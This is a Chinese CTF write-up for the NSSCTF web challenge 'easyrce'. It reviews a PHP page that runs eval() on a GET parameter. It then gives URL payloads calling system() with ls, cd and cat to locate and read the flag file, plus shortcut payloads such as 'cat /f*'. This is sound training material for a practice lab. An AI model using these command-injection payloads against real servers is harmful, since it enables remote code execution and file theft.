[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析

先看网页

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析_第1张图片

代码审计:

error_reporting(0); :关闭报错,代码的错误将不会显示

highlight_file(__FILE__); :将当前文件的源代码显示出来

eval($_GET['url']); :将url的值作为php代码执行

解题:

题目既然允许我们自己输入代码,那我们就先ls查看文件

http://node5.anna.nssctf.cn:28422/?url=system('ls');

注意,因为eval函数是把url的值当成php代码,所以记得遵守php代码的书写规范,在最后加个分号:

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析_第2张图片

可以看到只有一个index.php,那我们尝试往它的父目录找flag

http://node5.anna.nssctf.cn:28422/?url=system('cd ../;ls');

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析_第3张图片

没有flag,再往上

http://node5.anna.nssctf.cn:28422/?url=system('cd ../../;ls');

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析_第4张图片

没有,再往上

http://node5.anna.nssctf.cn:28422/?url=system('cd ../../../;ls');

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析_第5张图片

有了,我们直接打开flag

http://node5.anna.nssctf.cn:28422/?url=system('cd ../../../;ls;cat flllllaaaaaaggggggg');

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析_第6张图片

这样就得到flag了。

其实这道题快的话可以运用如下payload

http://node5.anna.nssctf.cn:28422/?url=system('ls /');
其中system('ls /');是列出根目录的文件,这道题的flag正好在根目录上
http://node5.anna.nssctf.cn:28422/?url=system('cat /f*');
其中system('cat /f*');是查看文件系统中以f开头的文件

你可能感兴趣的:(Web,前端,安全,网络安全)